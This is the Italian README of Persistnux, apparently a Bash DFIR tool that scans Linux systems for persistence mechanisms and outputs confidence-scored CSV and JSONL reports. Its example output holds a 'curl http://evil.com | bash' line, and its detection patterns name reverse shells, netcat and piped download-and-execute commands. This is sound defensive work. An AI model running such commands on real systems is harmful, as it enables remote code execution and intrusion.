
Persistnux — Updated!
Strumento di rilevamento della persistenza su Linux basato su Bash per indagini DFIR. Scansiona più di 15 meccanismi di persistenza (systemd, cron, moduli del kernel, SSH, container) con punteggio di confidenza e genera report CSV/JSONL per analisi forensi.
Persistnux
Uno strumento completo per la rilevazione di persistenza su Linux per indagini di Digital Forensics e Incident Response (DFIR).
Panoramica
Persistnux è uno strumento basato su bash progettato per identificare i meccanismi di persistenza Linux noti utilizzati dagli aggressori per mantenere l'accesso a sistemi compromessi. Esegue controlli completi su tutto il sistema e genera report dettagliati in formato CSV e JSONL per analisi successive.
Caratteristiche
- Rilevazione Completa: Copre tutti i principali meccanismi di persistenza Linux
- Analisi Live: Viene eseguito direttamente su sistemi live con dipendenze minime
- Output Dettagliato: Genera report CSV e JSONL con hash dei file, metadati e punteggi di confidenza
- Root e Non-Root: Funziona con o senza privilegi di root (con ambito limitato per non-root)
- Pronto per DFIR: Formati di output compatibili con strumenti e flussi di lavoro DFIR comuni
- Punteggio di Sospetto: Punteggio di confidenza automatico (BASSO, MEDIO, ALTO, CRITICO) basato su indicatori
- Riduzione dei Falsi Positivi: Integrazione con il gestore pacchetti e whitelist di servizi noti come sicuri
- Analisi Temporale: I file modificati di recente ricevono punteggi di confidenza più alti
- Corrispondenza di Pattern: Rileva reverse shell, pattern di download-esecuzione, tecniche di offuscamento
Meccanismi di Persistenza Rilevati
1. Servizi Systemd
- File di servizio (
.service) in/etc/systemd/system,/lib/systemd/system,/usr/lib/systemd/system - Servizi systemd a livello utente
- Filtra i servizi disabilitati e i servizi senza ExecStart
- Rileva comandi ExecStart sospetti
- Verifica l'integrità del pacchetto dei binari/script eseguiti
2. Cron Jobs & Attività Pianificate
- Crontab di sistema (
/etc/crontab,/etc/cron.d/*) - Directory di esecuzione periodica (
/etc/cron.{daily,hourly,weekly,monthly}) - Crontab utente per tutti gli utenti (modalità root)
- Job at
- Pattern di comandi sospetti nelle attività pianificate
- File ACL
/etc/cron.allowe/etc/cron.deny— voci che riferiscono utenti inesistenti segnalate
3. Profili Shell & File RC
- Profili di sistema (
/etc/profile,/etc/bash.bashrc,/etc/zshrc) - Script Profile.d (
/etc/profile.d/*) - Profili utente (
.bashrc,.bash_profile,.zshrc,.profile, ecc.) - Configurazioni Fish shell
- Rileva comandi malevoli nei file di profilo
4. Script Init & RC.local
/etc/rc.locale varianti- Script init SysV (
/etc/init.d) - Script di runlevel (
/etc/rc*.d) - Rileva comandi di download/esecuzione sospetti
5. Moduli del Kernel & Precaricamento Librerie
- Configurazioni LD_PRELOAD (
/etc/ld.so.preload) — ogni libreria elencata verificata tramite il gestore pacchetti - Configurazioni del linker dinamico (
/etc/ld.so.conf,/etc/ld.so.conf.d/) — integrità del file di configurazione + file.soin percorsi non standard scansionati e verificati /etc/environmentLD_PRELOAD/LD_LIBRARY_PATH — file env segnalato come ALTO; percorsi di librerie referenziate verificati (non gestiti/modificati → CRITICO)- Parametri dei moduli del kernel (
/etc/modprobe.d/,/etc/modprobe.conf) — integrità dei file; direttiveinstallanalizzate per bersagli di comandi sospetti;blacklistdi moduli di sicurezza (apparmor, selinux, seccomp) segnalati come ALTI - Configurazioni di auto-caricamento dei moduli del kernel (
/etc/modules,/etc/modules-load.d/) — integrità della configurazione; nomi dei moduli referenziati risolti in file.kotramitemodinfoe verificati - Moduli del kernel caricati (
lsmod) — enumerazione e verifica dell'integrità
6. Meccanismi Aggiuntivi
- Voci di avvio automatico XDG (
.config/autostart,/etc/xdg/autostart) — tutte le home utente scansionate quando root - File di ambiente di sistema (
/etc/environment) — percorsi di librerie LD_PRELOAD/LD_LIBRARY_PATH verificati - Configurazioni sudoers e drop-in (
/etc/sudoers,/etc/sudoers.d/) — pattern NOPASSWD/ALL → ALTO - PAM (Moduli di Autenticazione Pluggable):
- Tutti i moduli
.soverificati tramite il gestore pacchetti; direttive@includeseguite;/etc/pam.confincluso - Analisi script
pam_exec.so— script mancanti/sospetti → CRITICO - Rilevamento relay
pam_python.so/pam_perl.so— script estratto e analizzato - Rilevamento file hook
pam_script.soin/etc/security/ - Integrità dei file di configurazione — configurazioni PAM di proprietà del pacchetto modificate → CRITICO
- Verifica libreria LD_PRELOAD in
pam_env.confe~/.pam_environment - Scansione generale di
/etc/security/
- Tutti i moduli
- Script MOTD (
/etc/update-motd.d/) — verifica pacchetto; modificato → CRITICO - Helper di credenziali Git e impostazioni core.pager — analisi del contenuto per tutti gli utenti
- Web shell nelle directory web comuni
8. Persistenza SSH
- Per utente
~/.ssh/authorized_keys— chiavi modificate di recente segnalate; contenuto dell'opzionecommand=analizzato per pattern sospetti - Per utente
~/.ssh/rc— presenza segnalata MEDIO; contenuto sospetto/reverse shell → ALTO/CRITICO
9. Hijacking di Binari
- Verifica i binari di sistema installati rispetto al database dei pacchetti (
dpkg -Vsu Debian/Ubuntu,rpm -Vasu RHEL/CentOS) - File modificati in
/usr/bin,/usr/sbin,/bin,/sbin→ risultato CRITICO - Moduli PAM modificati in
/lib/security→ risultato CRITICO - I conffiles (file di configurazione dpkg) sono esclusi per evitare falsi positivi
10. Bootloader & Initramfs
- Iniezione del parametro del kernel
init=di GRUB (/etc/default/grub,/etc/default/grub.d/*.cfg) - Script init a livello root in
/ - Moduli initramfs Dracut con hook
pre-pivotche scrivono in/sysroot/etc/shadow - Script hook initramfs-tools di Ubuntu in
/etc/initramfs-tools/scripts/e/hooks/ - Immagini
/boot/initrd.img-*modificate di recente (basate su mtime)
11. Manipolazione di Polkit (PolicyKit)
- File
.pklaconResultAny/ResultInactive/ResultActive=yesincondizionati - Concessioni di identità wildcard (
unix-user:*) - File
.rulesconpolkit.Result.YESincondizionato (Polkit basato su JavaScript >= 0.106)
12. D-Bus & NetworkManager
- Registrazione malevola del servizio di sistema D-Bus
Exec=(/usr/share/dbus-1/system-services/) - Direttive wildcard delle policy D-Bus
allow own="*"osend_destination="*" - Script dispatcher di NetworkManager (
/etc/NetworkManager/dispatcher.d/)
13. Regole Udev
- Direttive Udev
RUN+=che eseguono comandi o script arbitrari (/etc/udev/rules.d/,/lib/udev/rules.d/) - Regole iniettate a runtime in
/run/udev/rules.d/ - Pattern di delega
at/croninRUN+=(comune bypass delle restrizioni di primo piano)
14. Fuga dal Contenitore
- Contenitori Docker privilegiati (
--privileged,--pid=host) - Bind-mount di
docker.socknei contenitori (controllo completo dell'host tramite API Docker) nsenter -t 1negli entrypoint dei contenitori o nei Dockerfile- Dockerfile in directory scrivibili dall'utente contenenti tecniche di fuga
15. Controlli Avanzati su Binari e Privilegi
- Scansione attiva del filesystem per file SUID/SGID nelle directory di sistema
- Scansione delle capacità dei file tramite
getcap—cap_setuid+epsu GTFOBins → CRITICO - Hijacking di binari: originali rinominati (
.original,.old,.bak,.real) con script wrapper - Account non-root con UID 0 in
/etc/passwd - Mascheramento della shell tramite spazio finale nel campo shell di
/etc/passwd - Account di sistema (UID 1-999) con file SSH
authorized_keys
Installazione
# Clona il repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Rendi eseguibile lo script
chmod +x persistnux.sh
Utilizzo
Utilizzo Base (Analisi Live)
# Esecuzione con impostazioni predefinite (mostra solo risultati sospetti)
sudo ./persistnux.sh
# Mostra l'aiuto e tutte le opzioni
./persistnux.sh --help
# Esecuzione come utente normale (ambito limitato)
./persistnux.sh
Opzioni di Filtraggio (v2.4+)
Per impostazione predefinita, Persistnux mostra solo risultati sospetti (confidenza MEDIA, ALTA, CRITICA) per ridurre il rumore e concentrarsi sulle minacce potenzialmente pericolose.
# Predefinito: Mostra solo risultati sospetti
sudo ./persistnux.sh
# Mostra tutti i risultati inclusa la linea di base (confidenza BASSA)
sudo ./persistnux.sh --all
# OPPURE
sudo FILTER_MODE=all ./persistnux.sh
# Mostra solo risultati con confidenza ALTA e CRITICA
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combina filtri: solo confidenza ALTA
sudo ./persistnux.sh --min-confidence HIGH
Directory di Output Personalizzata
# Specifica una directory di output personalizzata
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combina con il filtraggio
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
File di Output
Per impostazione predefinita, Persistnux crea una directory di output ./persistnux_output/ contenente:
persistnux_<hostname>_<timestamp>.csv- Report in formato CSVpersistnux_<hostname>_<timestamp>.jsonl- Report in formato JSONL (un oggetto JSON per riga)persistnux_<hostname>_<timestamp>_report.txt- Report di riepilogo leggibile con conteggi dei risultati e metadati di scansione
Formato di Output
Formato CSV
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
Formato JSONL
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
Campi Chiave dell'Output
- matched_pattern: Il pattern di rilevamento che ha attivato il risultato (es.
suspicious_script_content,modified_package,unmanaged_binary) - matched_string: Il contenuto sospetto effettivo trovato (riga completa, non solo la parola chiave)
Punteggio di Confidenza
Persistnux utilizza un punteggio di confidenza intelligente per ridurre i falsi positivi:
- BASSO: Configurazione di sistema standard, scarsa sospettosità (spesso file gestiti da pacchetti)
- MEDIO: Potenzialmente sospetto ma potrebbe essere legittimo
- ALTO: Pattern sospetti rilevati (es. curl/wget in cron, esecuzione in /tmp, reverse shell)
- CRITICO: Prova definitiva di manomissione — fallimento della verifica dell'integrità del pacchetto, SUID/SGID su un file sospetto, anomalia del modulo PAM, generatore systemd in posizione effimera, o codice interprete inline con payload ad alta entropia
Riduzione dei Falsi Positivi (v1.2+)
Persistnux ora include diverse funzionalità per ridurre i falsi positivi:
- Integrazione con il Gestore Pacchetti: I file gestiti da
dpkg(Debian/Ubuntu) orpm(RedHat/CentOS) ricevono punteggi di confidenza inferiori - Whitelist di Servizi Noti: I servizi comuni dei vendor (systemd-, dbus-, snap.*, ecc.) vengono saltati automaticamente
- Punteggio Temporale: I file modificati di recente (<7 giorni) ricevono punteggi di confidenza più alti
- Analisi Contestuale: Combina più indicatori per una rilevazione più accurata
Indicatori Sospetti
Persistnux segnala automaticamente gli elementi con confidenza maggiore quando rileva:
Pattern Basati su Rete
- Reverse shell:
bash -i >& /dev/tcp/,sh -i >& /dev/udp/ - Strumenti di rete:
nc,netcat,socat,telnet - Operazioni socket in linguaggi di scripting:
python -c 'import socket'
Pattern di Download ed Esecuzione
- Strumenti di download:
curl | bash,wget | sh - Download con esecuzione:
curl URL -o /tmp/file && chmod +x
Tecniche di Offuscamento
- Codifica:
base64 -d | bash,eval $(echo BASE64) - Esecuzione dinamica:
eval,exec
Posizioni Sospette
- Directory temporanee:
/tmp,/dev/shm,/var/tmp - Directory e file nascosti
Manipolazione dei Permessi
- Rendere i file eseguibili:
chmod +x,chmod 777 - Manipolazione del bit SUID:
chmod u+s
Requisiti
- Bash 4.0+
- Utility Unix standard:
find,grep,stat,sha256sum,awk,file - Opzionale:
systemctl,lsmod,modinfo,getcap,dpkg/rpm(per controlli specifici) - Nessuna dipendenza da interpreti (bash puro + coreutils; non richiede
python/jq) - Accesso root/sudo consigliato per un'analisi completa
Testato Su / Compatibilità
| Distribuzione | Stato | Note |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Testato | Piattaforma principale di sviluppo e test |
| Ubuntu 20.04 LTS | ✅ Testato | Pienamente supportato |
| Debian 11/12 | ✅ Testato | Basato su dpkg, stesse convenzioni di percorso |
| Kali Linux (rolling) | ✅ Testato | Utilizzato per il benchmark di rilevamento PANIX (vedi sotto) |
| RedHat / RHEL | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |
| Fedora | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |
| CentOS / AlmaLinux / Rocky | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |
Nota: Lo strumento è principalmente testato su sistemi Ubuntu/Debian. Le distribuzioni RedHat, Fedora e basate su RPM hanno il supporto del gestore pacchetti implementato nel codice ma non sono state validate in ambienti di test live. Contributi e report di test per distribuzioni basate su RPM sono benvenuti.
Test / Benchmark
Persistnux è confrontato con PANIX,
che installa gli stessi meccanismi di persistenza che Persistnux cerca. L'harness
ripetibile in tests/panix_benchmark.sh applica ogni
tecnica PANIX, esegue Persistnux e conferma la rilevazione tramite un diff di base.
Ogni tecnica PANIX basata su file applicabile sulla macchina di test viene rilevata
con confidenza MEDIA+. Vedi PANIX_BENCHMARK.md per la tabella
di copertura completa e la metodologia.
⚠️ Il benchmark installa backdoor reali — eseguilo solo in una VM monouso.
Roadmap
- Modalità di analisi offline per immagini disco forensi
- Integrazione con la raccolta UAC (Unix-like Artifacts Collector)
- Estendere il benchmark PANIX ai vettori bootloader/initramfs/LKM su una VM completa
Risorse
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Contribuire
I contributi sono benvenuti! Sentiti libero di inviare pull request o aprire issue per:
- Rilevazione di nuovi meccanismi di persistenza
- Correzione di bug
- Miglioramenti alla documentazione
- Ottimizzazioni delle prestazioni
- Formati di output aggiuntivi
Licenza
Licenza MIT - Vedi il file LICENSE per i dettagli
Riconoscimenti
Sviluppato per la comunità DFIR per assistere nelle indagini di incidenti Linux e nelle analisi forensi.
Dichiarazione di non responsabilità
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati, risposta agli incidenti e analisi forensi. Gli utenti sono responsabili di assicurarsi di avere l'autorizzazione appropriata prima di eseguire questo strumento su qualsiasi sistema.
Contatti
Per domande, problemi o contributi, utilizza il tracker dei problemi su GitHub.